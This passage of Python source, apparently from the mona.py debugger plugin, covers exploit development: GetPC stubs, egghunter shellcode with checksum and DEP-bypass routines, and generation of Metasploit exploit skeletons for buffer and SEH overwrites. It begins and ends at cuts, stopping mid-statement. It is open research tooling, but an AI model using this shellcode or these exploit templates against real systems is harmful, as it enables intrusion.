arrayfilename="bytearray.txt" + objarrayfile = MnLog(arrayfilename) + arrayfile = objarrayfile.reset() + binfilename = arrayfile.replace("bytearray.txt","bytearray.bin") + objarrayfile.write(output,arrayfile) + ignoremodules = False + dbg.logLines(output) + dbg.log("") + binfile = open(binfilename,"wb") + binfile.write(binarray) + binfile.close() + dbg.log("Done, wrote %d bytes to file %s" % (len(arraytable),arrayfile)) + dbg.log("Binary output saved in %s" % binfilename) + return + + + + + #----- Read binary file, print 'nice' header -----# + def procPrintHeader(args): + alltypes = ["ruby","rb","python","py"] + thistype = "ruby" + filename = "" + typewrong = False + stopnow = False + if "f" in args: + if type(args["f"]).__name__.lower() != "bool": + filename = args["f"] + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + if args["t"] in alltypes: + thistype = args["t"] + else: + typewrong = True + else: + typewrong = True + + if typewrong: + dbg.log("Invalid type specified with option -t. Valid types are: %s" % alltypes,highlight=1) + stopnow = True + else: + if thistype == "rb": + thistype = "ruby" + if thistype == "py": + thistype = "python" + + if filename == "": + dbg.log("Missing argument -f ",highlight=1) + stopnow = True + + if stopnow: + return + + filename = filename.replace("'","").replace('"',"") + content = "" + try: + file = open(filename,"rb") + content = file.read() + file.close() + except: + dbg.log("Unable to read file %s" % filename,highlight=1) + return + dbg.log("Read %d bytes from %s" % (len(content),filename)) + dbg.log("Output type: %s" % thistype) + cnt = 0 + linecnt = 0 + + output = "" + thisline = "" + + max = len(content) + + addchar = "<<" + if thistype == "python": + addchar = "+=" + + # keep it easy, initialize header as an empty string + output = "header = \"\"\n" + + while cnt < max: + + # first check for unicode + if cnt < max-1: + + thisline = "header %s \"" % addchar + thiscnt = cnt + while cnt < max-1 and isAscii2(ord(content[cnt])) and ord(content[cnt+1]) == 0: + if content[cnt] == "\\": + thisline += "\\" + if content[cnt] == "\"": + thisline += "\\" + thisline += "%s\\x00" % content[cnt] + cnt += 2 + if thiscnt != cnt: + output += thisline + "\"" + "\n" + linecnt += 1 + + thisline = "header %s \"" % addchar + thiscnt = cnt + + # ascii repetitions + reps = 1 + startval = content[cnt] + if isAscii(ord(content[cnt])): + while cnt < max-1: + if startval == content[cnt+1]: + reps += 1 + cnt += 1 + else: + break + if reps > 1: + if startval == "\\": + startval += "\\" + if startval == "\"": + startval = "\\" + "\"" + output += thisline + startval + "\" * " + str(reps) + "\n" + cnt += 1 + linecnt += 1 + continue + + + thisline = "header %s \"" % addchar + thiscnt = cnt + + # check for just ascii + while cnt < max and isAscii2(ord(content[cnt])): + if cnt < max-1 and ord(content[cnt+1]) == 0: + break + if content[cnt] == "\\": + thisline += "\\" + if content[cnt] == "\"": + thisline += "\\" + thisline += content[cnt] + cnt += 1 + + + if thiscnt != cnt: + output += thisline + "\"" + "\n" + linecnt += 1 + + #check others : repetitions + if cnt < max: + thisline = "header %s \"" % addchar + thiscnt = cnt + while cnt < max: + if isAscii2(ord(content[cnt])): + break + if cnt < max-1 and isAscii2(ord(content[cnt])) and ord(content[cnt+1]) == 0: + break + #check repetitions + reps = 1 + startval = ord(content[cnt]) + while cnt < max-1: + if startval == ord(content[cnt+1]): + reps += 1 + cnt += 1 + else: + break + if reps > 1: + if len(thisline) > 12: + output += thisline + "\"" + "\n" + thisline = "header %s \"\\x" % addchar + thisline += "%02x\" * %d" % (startval,reps) + output += thisline + "\n" + thisline = "header %s \"" % addchar + linecnt += 1 + else: + thisline += "\\x" + "%02x" % ord(content[cnt]) + cnt += 1 + if thiscnt != cnt: + if len(thisline) > 12: + output += thisline + "\"" + "\n" + linecnt += 1 + + global ignoremodules + ignoremodules = True + headerfilename="header.txt" + objheaderfile = MnLog(headerfilename) + headerfile = objheaderfile.reset() + objheaderfile.write(output,headerfile) + ignoremodules = False + if not silent: + dbg.log("-" * 30) + dbg.logLines(output) + dbg.log("-" * 30) + dbg.log("Wrote header to %s" % headerfile) + return + + #----- Update -----# + + def procUpdate(args): + """ + Function to update mona and optionally windbglib to the latest version + + Arguments : none + + Returns : new version of mona/windbglib (if available) + """ + + updateproto = "https" + + #debugger version + imversion = __IMM__ + #url + dbg.setStatusBar("Running update process...") + dbg.updateLog() + updateurl = "https://github.com/corelan/mona/raw/master/mona.py" + + currentversion,currentrevision = getVersionInfo(inspect.stack()[0][1]) + u = "" + try: + u = urllib.urlretrieve(updateurl) + newversion,newrevision = getVersionInfo(u[0]) + if newversion != "" and newrevision != "": + dbg.log("[+] Version compare :") + dbg.log(" Current Version : %s, Current Revision : %s" % (currentversion,currentrevision)) + dbg.log(" Latest Version : %s, Latest Revision : %s" % (newversion,newrevision)) + else: + dbg.log("[-] Unable to check latest version (corrupted file ?), try again later",highlight=1) + return + except: + dbg.log("[-] Unable to check latest version (download error). Try again later",highlight=1) + dbg.log(" Meanwhile, please check/confirm that you're running a recent version of python 2.7 (2.7.14 or higher)", highlight=1) + return + #check versions + doupdate = False + if newversion != "" and newrevision != "": + if currentversion != newversion: + doupdate = True + else: + if int(currentrevision) < int(newrevision): + doupdate = True + + if doupdate: + dbg.log("[+] New version available",highlight=1) + dbg.log(" Updating to %s r%s" % (newversion,newrevision),highlight=1) + try: + shutil.copyfile(u[0],inspect.stack()[0][1]) + dbg.log(" Done") + except: + dbg.log(" ** Unable to update mona.py",highlight=1) + currentversion,currentrevision = getVersionInfo(inspect.stack()[0][1]) + dbg.log("[+] Current version : %s r%s" % (currentversion,currentrevision)) + else: + dbg.log("[+] You are running the latest version") + + # update windbglib if needed + if __DEBUGGERAPP__ == "WinDBG": + dbg.log("[+] Locating windbglib path") + paths = sys.path + filefound = False + libfile = "" + for ppath in paths: + libfile = ppath + "\\windbglib.py" + if os.path.isfile(libfile): + filefound=True + break + if not filefound: + dbg.log(" ** Unable to find windbglib.py ! **") + else: + dbg.log("[+] Checking if %s needs an update..." % libfile) + updateurl = "https://github.com/corelan/windbglib/raw/master/windbglib.py" + + currentversion,currentrevision = getVersionInfo(libfile) + u = "" + try: + u = urllib.urlretrieve(updateurl) + newversion,newrevision = getVersionInfo(u[0]) + if newversion != "" and newrevision != "": + dbg.log("[+] Version compare :") + dbg.log(" Current Version : %s, Current Revision : %s" % (currentversion,currentrevision)) + dbg.log(" Latest Version : %s, Latest Revision : %s" % (newversion,newrevision)) + else: + dbg.log("[-] Unable to check latest version (corrupted file ?), try again later",highlight=1) + return + except: + dbg.log("[-] Unable to check latest version (download error). Try again later",highlight=1) + dbg.log(" Meanwhile, please check/confirm that you're running a recent version of python 2.7 (2.7.14 or higher)", highlight=1) + return + + #check versions + doupdate = False + if newversion != "" and newrevision != "": + if currentversion != newversion: + doupdate = True + else: + if int(currentrevision) < int(newrevision): + doupdate = True + + if doupdate: + dbg.log("[+] New version available",highlight=1) + dbg.log(" Updating to %s r%s" % (newversion,newrevision),highlight=1) + try: + shutil.copyfile(u[0],libfile) + dbg.log(" Done") + except: + dbg.log(" ** Unable to update windbglib.py",highlight=1) + currentversion,currentrevision = getVersionInfo(libfile) + dbg.log("[+] Current version : %s r%s" % (currentversion,currentrevision)) + else: + dbg.log("[+] You are running the latest version") + + dbg.setStatusBar("Done.") + return + + #----- GetPC -----# + def procgetPC(args): + r32 = "" + output = "" + if "r" in args: + if type(args["r"]).__name__.lower() != "bool": + r32 = args["r"].lower() + + if r32 == "" or not "r" in args: + dbg.log("Missing argument -r ",highlight=1) + return + + opcodes = {} + opcodes["eax"] = "\\x58" + opcodes["ecx"] = "\\x59" + opcodes["edx"] = "\\x5a" + opcodes["ebx"] = "\\x5b" + opcodes["esp"] = "\\x5c" + opcodes["ebp"] = "\\x5d" + opcodes["esi"] = "\\x5e" + opcodes["edi"] = "\\x5f" + + calls = {} + calls["eax"] = "\\xd0" + calls["ecx"] = "\\xd1" + calls["edx"] = "\\xd2" + calls["ebx"] = "\\xd3" + calls["esp"] = "\\xd4" + calls["ebp"] = "\\xd5" + calls["esi"] = "\\xd6" + calls["edi"] = "\\xd7" + + output = "\n" + r32 + "| jmp short back:\n\"\\xeb\\x03" + opcodes[r32] + "\\xff" + calls[r32] + "\\xe8\\xf8\\xff\\xff\\xff\"\n" + output += r32 + "| call + 4:\n\"\\xe8\\xff\\xff\\xff\\xff\\xc3" + opcodes[r32] + "\"\n" + output += r32 + "| fstenv:\n\"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4" + opcodes[r32] + "\"\n" + + global ignoremodules + ignoremodules = True + getpcfilename="getpc.txt" + objgetpcfile = MnLog(getpcfilename) + getpcfile = objgetpcfile.reset() + objgetpcfile.write(output,getpcfile) + ignoremodules = False + dbg.logLines(output) + dbg.log("") + dbg.log("Wrote to file %s" % getpcfile) + return + + + #----- Egghunter -----# + def procEgg(args): + filename = "" + egg = "w00t" + usechecksum = False + usewow64 = False + useboth = False + egg_size = 0 + checksumbyte = "" + extratext = "" + + global silent + oldsilent = silent + silent = True + + if "f" in args: + if type(args["f"]).__name__.lower() != "bool": + filename = args["f"] + filename = filename.replace("'", "").replace("\"", "") + + #Set egg + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + egg = args["t"] + + if "wow64" in args: + usewow64 = True + + + # placeholder for later + if "both" in args: + useboth = True + + if len(egg) != 4: + egg = 'w00t' + dbg.log("[+] Egg set to %s" % egg) + + if "c" in args: + if filename != "": + usechecksum = True + dbg.log("[+] Hunter will include checksum routine") + else: + dbg.log("Option -c only works in conjunction with -f ",highlight=1) + return + + startreg = "" + if "startreg" in args: + if isReg(args["startreg"]): + startreg = args["startreg"].lower() + dbg.log("[+] Egg will start search at %s" % startreg) + + + depmethods = ["virtualprotect","copy","copy_size"] + depreg = "esi" + depsize = 0 + freeregs = [ "ebx","ecx","ebp","esi" ] + + regsx = {} + # 0 : mov xX + # 1 : push xX + # 2 : mov xL + # 3 : mov xH + # + regsx["eax"] = ["\x66\xb8","\x66\x50","\xb0","\xb4"] + regsx["ebx"] = ["\x66\xbb","\x66\x53","\xb3","\xb7"] + regsx["ecx"] = ["\x66\xb9","\x66\x51","\xb1","\xb5"] + regsx["edx"] = ["\x66\xba","\x66\x52","\xb2","\xb6"] + regsx["esi"] = ["\x66\xbe","\x66\x56"] + regsx["edi"] = ["\x66\xbf","\x66\x57"] + regsx["ebp"] = ["\x66\xbd","\x66\x55"] + regsx["esp"] = ["\x66\xbc","\x66\x54"] + + addreg = {} + addreg["eax"] = "\x83\xc0" + addreg["ebx"] = "\x83\xc3" + addreg["ecx"] = "\x83\xc1" + addreg["edx"] = "\x83\xc2" + addreg["esi"] = "\x83\xc6" + addreg["edi"] = "\x83\xc7" + addreg["ebp"] = "\x83\xc5" + addreg["esp"] = "\x83\xc4" + + depdest = "" + depmethod = "" + + getpointer = "" + getsize = "" + getpc = "" + + jmppayload = "\xff\xe7" + + if "depmethod" in args: + if args["depmethod"].lower() in depmethods: + depmethod = args["depmethod"].lower() + dbg.log("[+] Hunter will include routine to bypass DEP on found shellcode") + # other DEP related arguments ? + # depreg + # depdest + # depsize + if "depreg" in args: + if isReg(args["depreg"]): + depreg = args["depreg"].lower() + if "depdest" in args: + if isReg(args["depdest"]): + depdest = args["depdest"].lower() + if "depsize" in args: + try: + depsize = int(args["depsize"]) + except: + dbg.log(" ** Invalid depsize",highlight=1) + return + + + #read payload file + data = "" + if filename != "": + try: + f = open(filename, "rb") + data = f.read() + f.close() + dbg.log("[+] Read payload file (%d bytes)" % len(data)) + except: + dbg.log("Unable to read file %s" %filename, highlight=1) + return + + + #let's start + egghunter = "" + + if not usewow64: + #Basic version of egghunter + dbg.log("[+] Generating traditional 32bit egghunter code") + egghunter = "" + egghunter += ( + "\x66\x81\xca\xff\x0f"+ #or dx,0xfff + "\x42"+ #INC EDX + "\x52" #push edx + "\x6a\x02" #push 2 (NtAccessCheckAndAuditAlarm syscall) + "\x58" #pop eax + "\xcd\x2e" #int 0x2e + "\x3c\x05" #cmp al,5 + "\x5a" #pop edx + "\x74\xef" #je "or dx,0xfff" + "\xb8"+egg+ #mov eax, egg + "\x8b\xfa" #mov edi,edx + "\xaf" #scasd + "\x75\xea" #jne "inc edx" + "\xaf" #scasd + "\x75\xe7" #jne "inc edx" + ) + + if usewow64: + egghunter = "" + egghunter += ( + # 64 stub needed before loop + "\x31\xdb" #xor ebx,ebx + "\x53" #push ebx + "\x53" #push ebx + "\x53" #push ebx + "\x53" #push ebx + "\xb3\xc0" #mov bl,0xc0 + + # 64 Loop + "\x66\x81\xCA\xFF\x0F" #OR DX,0FFF + "\x42" #INC EDX + "\x52" #PUSH EDX + "\x6A\x26" #PUSH 26 + "\x58" #POP EAX + "\x33\xC9" #XOR ECX,ECX + "\x8B\xD4" #MOV EDX,ESP + "\x64\xff\x13" #CALL DWORD PTR FS:[ebx] + "\x5e" #POP ESI + "\x5a" #POP EDX + "\x3C\x05" #CMP AL,5 + "\x74\xe9" #JE SHORT + "\xB8"+egg+ #MOV EAX,74303077 w00t + "\x8B\xFA" #MOV EDI,EDX + "\xAF" #SCAS DWORD PTR ES:[EDI] + "\x75\xe4" #JNZ "inc edx" + "\xAF" #SCAS DWORD PTR ES:[EDI] + "\x75\xe1" #JNZ "inc edx" + ) + + if usechecksum: + dbg.log("[+] Generating checksum routine") + extratext = "+ checksum routine" + egg_size = "" + if len(data) < 256: + cmp_reg = "\x80\xf9" #cmp cl,value + egg_size = hex2bin("%x" % len(data)) + offset1 = "\xf7" + offset2 = "\xd3" + elif len(data) < 65536: + cmp_reg = "\x66\x81\xf9" #cmp cx,value + #avoid nulls + egg_size_normal = "%04X" % len(data) + while egg_size_normal[0:2] == "00" or egg_size_normal[2:4] == "00": + data += "\x90" + egg_size_normal = "%04X" % len(data) + egg_size = hex2bin(egg_size_normal[2:4]) + hex2bin(egg_size_normal[0:2]) + offset1 = "\xf5" + offset2 = "\xd1" + else: + dbg.log("Cannot use checksum code with this payload size (way too big)",highlight=1) + return + + sum = 0 + for byte in data: + sum += ord(byte) + sumstr= toHex(sum) + checksumbyte = sumstr[len(sumstr)-2:len(sumstr)] + + egghunter += ( + "\x51" #push ecx + "\x31\xc9" #xor ecx,ecx + "\x31\xc0" #xor eax,eax + "\x02\x04\x0f" #add al,byte [edi+ecx] + "\x41"+ #inc ecx + cmp_reg + egg_size + #cmp cx/cl, value + "\x75" + offset1 + #jnz "add al,byte [edi+ecx] + "\x3a\x04\x39" + #cmp al,byte [edi+ecx] + "\x59" + #pop ecx + "\x75" + offset2 #jnz "inc edx" + ) + + #dep bypass ? + if depmethod != "": + dbg.log("[+] Generating dep bypass routine") + + if not depreg in freeregs: + getpointer += "mov " + freeregs[0] +"," + depreg + "#" + depreg = freeregs[0] + + freeregs.remove(depreg) + if depmethod == "copy" or depmethod == "copy_size": + if depdest != "": + if not depdest in freeregs: + getpointer += "mov " + freeregs[0] + "," + depdest + "#" + depdest = freeregs[0] + else: + getpc = "\xd9\xee" # fldz + getpc += "\xd9\x74\xe4\xf4" # fstenv [esp-0c] + depdest = freeregs[0] + getpc += hex2bin(assemble("pop "+depdest)) + + freeregs.remove(depdest) + + sizereg = freeregs[0] + + if depsize == 0: + # set depsize to payload * 2 if we are using a file + depsize = len(data) * 2 + if depmethod == "copy_size": + depsize = len(data) + + if depsize == 0: + dbg.log("** Please specify a valid -depsize when you are not using -f **",highlight=1) + return + else: + if depsize <= 127: + #simply push it to the stack + getsize = "\x6a" + hex2bin("\\x" + toHexByte(depsize)) + else: + #can we do it with 16bit reg, no nulls ? + if depsize <= 65535: + sizeparam = toHex(depsize)[4:8] + getsize = hex2bin(assemble("xor "+sizereg+","+sizereg)) + if not (sizeparam[0:2] == "00" or sizeparam[2:4] == "00"): + #no nulls, hooray, write to xX + getsize += regsx[sizereg][0]+hex2bin("\\x" + sizeparam[2:4] + "\\x" + sizeparam[0:2]) + else: + # write the non null if we can + if len(regsx[sizereg]) > 2: + if not (sizeparam[0:2] == "00"): + # write to xH + getsize += regsx[sizereg][3] + hex2bin("\\x" + sizeparam[0:2]) + if not (sizeparam[2:4] == "00"): + # write to xL + getsize += regsx[sizereg][2] + hex2bin("\\x" + sizeparam[2:4]) + else: + #we have to write the full value to sizereg + blockcnt = 0 + vpsize = 0 + blocksize = depsize + while blocksize >= 127: + blocksize = blocksize / 2 + blockcnt += 1 + if blockcnt > 0: + getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(blocksize)) + vpsize = blocksize + depblockcnt = 0 + while depblockcnt < blockcnt: + getsize += hex2bin(assemble("add "+sizereg+","+sizereg)) + vpsize += vpsize + depblockcnt += 1 + delta = depsize - vpsize + if delta > 0: + getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(delta)) + else: + getsize += addreg[sizereg] + hex2bin("\\x" + toHexByte(depsize)) + # finally push + getsize += hex2bin(assemble("push "+ sizereg)) + + else: + dbg.log("** Shellcode size (depsize) is too big",highlight=1) + return + + #finish it off + if depmethod == "virtualprotect": + jmppayload = "\x54\x6a\x40" + jmppayload += getsize + jmppayload += hex2bin(assemble("#push edi#push edi#push "+depreg+"#ret")) + elif depmethod == "copy": + jmppayload = hex2bin(assemble("push edi\push "+depdest+"#push "+depdest+"#push "+depreg+"#mov edi,"+depdest+"#ret")) + elif depmethod == "copy_size": + jmppayload += getsize + jmppayload += hex2bin(assemble("push edi#push "+depdest+"#push " + depdest + "#push "+depreg+"#mov edi,"+depdest+"#ret")) + + + #jmp to payload + egghunter += getpc + egghunter += jmppayload + + startat = "" + skip = "" + + #start at a certain reg ? + if startreg != "": + if startreg != "edx": + startat = hex2bin(assemble("mov edx," + startreg)) + skip = "\xeb\x05" + + egghunter = skip + egghunter + #pickup pointer for DEP bypass ? + egghunter = hex2bin(assemble(getpointer)) + egghunter + + egghunter = startat + egghunter + + silent = oldsilent + + #Convert binary to printable hex format + egghunter_hex = toniceHex(egghunter.strip().replace(" ",""),16) + + global ignoremodules + ignoremodules = True + hunterfilename="egghunter.txt" + objegghunterfile = MnLog(hunterfilename) + egghunterfile = objegghunterfile.reset() + + dbg.log("[+] Egghunter %s (%d bytes): " % (extratext,len(egghunter.strip().replace(" ","")))) + dbg.logLines("%s" % egghunter_hex) + + objegghunterfile.write("Egghunter " + extratext + ", tag " + egg + " : ",egghunterfile) + objegghunterfile.write(egghunter_hex,egghunterfile) + + if filename == "": + objegghunterfile.write("Put this tag in front of your shellcode : " + egg + egg,egghunterfile) + else: + dbg.log("[+] Shellcode, with tag : ") + block = "\"" + egg + egg + "\"\n" + cnt = 0 + flip = 1 + thisline = "\"" + while cnt < len(data): + thisline += "\\x%s" % toHexByte(ord(data[cnt])) + if (flip == 32) or (cnt == len(data)-1): + if cnt == len(data)-1 and checksumbyte != "": + thisline += "\\x%s" % checksumbyte + thisline += "\"" + flip = 0 + block += thisline + block += "\n" + thisline = "\"" + cnt += 1 + flip += 1 + dbg.logLines(block) + objegghunterfile.write("\nShellcode, with tag :\n",egghunterfile) + objegghunterfile.write(block,egghunterfile) + + ignoremodules = False + + return + + #----- Find MSP ------ # + + def procFindMSP(args): + distance = 0 + + if "distance" in args: + try: + distance = int(args["distance"]) + except: + distance = 0 + if distance < 0: + dbg.log("** Please provide a positive number as distance",highlight=1) + return + mspresults = {} + mspresults = goFindMSP(distance,args) + return + + def procSuggest(args): + modulecriteria={} + criteria={} + modulecriteria,criteria = args2criteria(args,modulecriteria,criteria) + isEIP = False + isSEH = False + isEIPUnicode = False + isSEHUnicode = False + initialoffsetSEH = 0 + initialoffsetEIP = 0 + shellcodesizeSEH = 0 + shellcodesizeEIP = 0 + nullsallowed = True + + global ignoremodules + global noheader + global ptr_to_get + global silent + global ptr_counter + + targetstr = "" + exploitstr = "" + originalauthor = "" + url = "" + + #are we attached to an application ? + if dbg.getDebuggedPid() == 0: + dbg.log("** You don't seem to be attached to an application ! **",highlight=1) + return + + exploittype = "" + skeletonarg = "" + usecliargs = False + validstypes ={} + validstypes["tcpclient"] = "network client (tcp)" + validstypes["udpclient"] = "network client (udp)" + validstypes["fileformat"] = "fileformat" + exploittypes = [ "fileformat","network client (tcp)","network client (udp)" ] + if __DEBUGGERAPP__ == "WinDBG" or "t" in args: + if "t" in args: + if type(args["t"]).__name__.lower() != "bool": + skeltype = args["t"].lower() + skelparts = skeltype.split(":") + if skelparts[0] in validstypes: + exploittype = validstypes[skelparts[0]] + if len(skelparts) > 1: + skeletonarg = skelparts[1] + else: + dbg.log(" ** Please specify the skeleton type AND an argument. **") + return + usecliargs = True + else: + dbg.log(" ** Please specify a valid skeleton type and an argument. **") + return + else: + dbg.log(" ** Please specify a skeletontype using -t **",highlight=1) + return + else: + dbg.log(" ** Please specify a skeletontype using -t **",highlight=1) + return + + mspresults = {} + mspresults = goFindMSP(100,args) + + #create metasploit skeleton file + exploitfilename="exploit.rb" + objexploitfile = MnLog(exploitfilename) + + #ptr_to_get = 5 + noheader = True + ignoremodules = True + exploitfile = objexploitfile.reset() + ignoremodules = False + noheader = False + + dbg.log(" ") + dbg.log("[+] Preparing payload...") + dbg.log(" ") + dbg.updateLog() + #what options do we have ? + # 0 : pointer + # 1 : offset + # 2 : type + + if "registers" in mspresults: + for reg in mspresults["registers"]: + if reg.upper() == "EIP": + isEIP = True + eipval = mspresults["registers"][reg][0] + ptrx = MnPointer(eipval) + initialoffsetEIP = mspresults["registers"][reg][1] + + # 0 : pointer + # 1 : offset + # 2 : type + # 3 : size + if "seh" in mspresults: + if len(mspresults["seh"]) > 0: + isSEH = True + for seh in mspresults["seh"]: + if mspresults["seh"][seh][2] == "unicode": + isSEHUnicode = True + if not isSEHUnicode: + initialoffsetSEH = mspresults["seh"][seh][1] + else: + initialoffsetSEH = mspresults["seh"][seh][1] + shellcodesizeSEH = mspresults["seh"][seh][3] + + if isSEH: + ignoremodules = True + noheader = True + exploitfilename_seh="exploit_seh.rb" + objexploitfile_seh = MnLog(exploitfilename_seh) + exploitfile_seh = objexploitfile_seh.reset() + ignoremodules = False + noheader = False + + # start building exploit structure + + if not isEIP and not isSEH: + dbg.log(" ** Unable to suggest anything useful. You don't seem to control EIP or SEH ** ",highlight=1) + return + + # ask for type of module + if not usecliargs: + dbg.log(" ** Please select a skeleton exploit type from the dropdown list **",highlight=1) + exploittype = dbg.comboBox("Select msf exploit skeleton to build :", exploittypes).lower().strip() + + if not exploittype in exploittypes: + dbg.log("Boo - invalid exploit type, try again !",highlight=1) + return + + + portnr = 0 + extension = "" + if exploittype.find("network") > -1: + if usecliargs: + portnr = skeletonarg + else: + portnr = dbg.inputBox("Remote port number : ") + try: + portnr = int(portnr) + except: + portnr = 0 + + if exploittype.find("fileformat") > -1: + if usecliargs: + extension = skeletonarg + else: + extension = dbg.inputBox("File extension :") + + extension = extension.replace("'","").replace('"',"").replace("\n","").replace("\r","") + + if not extension.startswith("."): + extension = "." + extension + + + dbg.createLogWindow() + dbg.updateLog() + url = "" + + badchars = "" + if "badchars" in criteria: + badchars = criteria["badchars"] + + if "nonull" in criteria: + if not '\x00' in badchars: + badchars += '\x00' + + skeletonheader,skeletoninit,skeletoninit2 = getSkeletonHeader(exploittype,portnr,extension,url,badchars) + + regsto = "" + + if isEIP: + dbg.log("[+] Attempting to create payload for saved return pointer overwrite...") + #where can we jump to - get the register that has the largest buffer size + largestreg = "" + largestsize = 0 + offsetreg = 0 + regptr = 0 + # register_to + # 0 : pointer + # 1 : offset + # 2 : size + # 3 : type + eipcriteria = criteria + modulecriteria["aslr"] = False + modulecriteria["rebase"] = False + modulecriteria["os"] = False + jmp_pointers = {} + jmppointer = 0 + instrinfo = "" + + if isEIPUnicode: + eipcriteria["unicode"] = True + eipcriteria["nonull"] = False + + if "registers_to" in mspresults: + for reg in mspresults["registers_to"]: + regsto += reg+"," + thissize = mspresults["registers_to"][reg][2] + thisreg = reg + thisoffset = mspresults["registers_to"][reg][1] + thisregptr = mspresults["registers_to"][reg][0] + if thisoffset < initialoffsetEIP: + #fix the size, which will end at offset to EIP + thissize = initialoffsetEIP - thisoffset + if thissize > largestsize: + # can we find a jmp to that reg ? + silent = True + ptr_counter = 0 + ptr_to_get = 1 + jmp_pointers = findJMP(modulecriteria,eipcriteria,reg.lower()) + if len( jmp_pointers ) == 0: + ptr_counter = 0 + ptr_to_get = 1 + modulecriteria["os"] = True + jmp_pointers = findJMP(modulecriteria,eipcriteria,reg.lower()) + modulecriteria["os"] = False + if len( jmp_pointers ) > 0: + largestsize = thissize + largestreg = thisreg + offsetreg = thisoffset + regptr = thisregptr + silent = False + regsto = regsto.rstrip(",") + + + if largestreg == "": + dbg.log(" Payload is referenced by at least one register (%s), but I couldn't seem to find" % regsto,highlight=1) + dbg.log(" a way to jump to that register",highlight=1) + else: + #build exploit + for ptrtype in jmp_pointers: + jmppointer = jmp_pointers[ptrtype][0] + instrinfo = ptrtype + break + ptrx = MnPointer(jmppointer) + modname = ptrx.belongsTo() + targetstr = " 'Targets' =>\n" + targetstr += " [\n" + targetstr += " [ '',\n" + targetstr += " {\n" + if not isEIPUnicode: + targetstr += " 'Ret' => 0x" + toHex(jmppointer) + ", # " + instrinfo + " - " + modname + "\n" + targetstr += " 'Offset' => " + str(initialoffsetEIP) + "\n" + else: + origptr = toHex(jmppointer) + #real unicode ? + unicodeptr = "" + transforminfo = "" + if origptr[0] == "0" and origptr[1] == "0" and origptr[4] == "0" and origptr[5] == "0": + unicodeptr = "\"\\x" + origptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\"" + else: + #transform + transform = UnicodeTransformInfo(origptr) + transformparts = transform.split(",") + transformsubparts = transformparts[0].split(" ") + origptr = transformsubparts[len(transformsubparts)-1] + transforminfo = " #unicode transformed to 0x" + toHex(jmppointer) + unicodeptr = "\"\\x" + origptr[6] + origptr[7] + "\\x" + origptr[2] + origptr[3] + "\"" + targetstr += " 'Ret' => " + unicodeptr + "," + transforminfo + "# " + instrinfo + " - " + modname + "\n" + targetstr += " 'Offset' => " + str(initialoffsetEIP) + " #Unicode\n" + + targetstr += " }\n" + targetstr += " ],\n" + targetstr += " ],\n" + + exploitstr = " def exploit\n\n" + if exploittype.find("network") > -1: + if exploittype.find("tcp") > -1: + exploitstr += "\n connect\n\n" + elif exploittype.find("udp") > -1: + exploitstr += "\n connect_udp\n\n" + + if initialoffsetEIP < offsetreg: + # eip is before shellcode + exploitstr += " buffer = rand_text(target['Offset']) \n" + if not isEIPUnicode: + exploitstr += " buffer << [target.ret].pack('V') \n" + else: + exploitstr += " buffer << target['Ret'] #Unicode friendly jump\n\n" + if offsetreg > initialoffsetEIP+2: + if not isEIPUnicode: + if (offsetreg - initialoffsetEIP - 4) > 0: + exploitstr += " buffer << rand_text(" + str(offsetreg - initialoffsetEIP - 4) + ") #junk\n" + else: + if ((offsetreg - initialoffsetEIP - 4)/2) > 0: + exploitstr += " buffer << rand_text(" + str((offsetreg - initialoffsetEIP - 4)/2) + ") #unicode junk\n" + stackadjust = 0 + if largestreg.upper() == "ESP": + if not isEIPUnicode: + exploitstr += " buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, 'add esp,-1500').encode_string # avoid GetPC shellcode corruption\n" + stackadjust = 6 + exploitstr += " buffer << payload.encoded #max " + str(largestsize - stackadjust) + " bytes\n" + if isEIPUnicode: + exploitstr += " # Metasploit requires double encoding for unicode : Use alpha_xxxx encoder in the payload section\n" + exploitstr += " # and then manually encode with unicode inside the exploit section :\n\n" + exploitstr += " enc = framework.encoders.create('x86/unicode_mixed')\n\n" + exploitstr += " register_to_align_to = '" + largestreg.upper() + "'\n\n" + if largestreg.upper() == "ESP": + exploitstr += " # Note : since you are using ESP as bufferregister, make sure EBP points to a writeable address !\n" + exploitstr += " # or patch the unicode decoder yourself\n" + exploitstr += " enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })\n\n" + exploitstr += " unicodepayload = enc.encode(payload.encoded, nil, nil, platform)\n\n" + exploitstr += " buffer << unicodepayload" + + else: + # EIP -> jump to location before EIP + beforeEIP = initialoffsetEIP - offsetreg + if beforeEIP > 0: + if offsetreg > 0: + exploitstr += " buffer = rand_text(" + str(offsetreg)+") #offset to " + largestreg+"\n" + exploitstr += " buffer << payload.encoded #max " + str(initialoffsetEIP - offsetreg) + " bytes\n" + exploitstr += " buffer << rand_text(target['Offset'] - payload.encoded.length)\n" + exploitstr += " buffer << [target.ret].pack('V') \n" + else: + exploitstr += " buffer = payload.encoded #max " + str(initialoffsetEIP - offsetreg) + " bytes\n" + exploitstr += " buffer << rand_text(target['Offset'] - payload.encoded.length)\n" + exploitstr += " buffer << [target.ret].pack('V') \n" + + if exploittype.find("network") > -1: + exploitstr += "\n print_status(\"Trying target #{target.name}...\")\n" + if exploittype.find("tcp") > -1: + exploitstr += " sock.put(buffer)\n" + exploitstr += "\n handler\n" + elif exploittype.find("udp") > -1: + exploitstr += " udp_sock.put(buffer)\n" + exploitstr += "\n handler(udp_sock)\n" + if exploittype == "fileformat": + exploitstr += "\n file_create(buffer)\n\n" + + if exploittype.find("network") > -1: + exploitstr += " disconnect\n\n" + exploitstr += " end\n" + dbg.log("Metasploit 'Targets' section :") + dbg.log("------------------------------") + dbg.logLines(targetstr.replace(" "," ")) + dbg.log("") + dbg.log("Metasploit 'exploit' function :") + dbg.log("--------------------------------") + dbg.logLines(exploitstr.replace(" "," ")) + + #write skeleton + objexploitfile.write(skeletonheader+"\n",exploitfile) + objexploitfile.write(skeletoninit+"\n",exploitfile) + objexploitfile.write(targetstr,exploitfile) + objexploitfile.write(skeletoninit2,exploitfile) + objexploitfile.write(exploitstr,exploitfile) + objexploitfile.write("end",exploitfile) + + + if isSEH: + dbg.log("[+] Attempting to create payload for SEH record overwrite...") + sehcriteria = criteria + modulecriteria["safeseh"] = False + modulecriteria["rebase"] = False + modulecriteria["aslr"] = False + modulecriteria["os"] = False + sehptr = 0 + instrinfo = "" + if 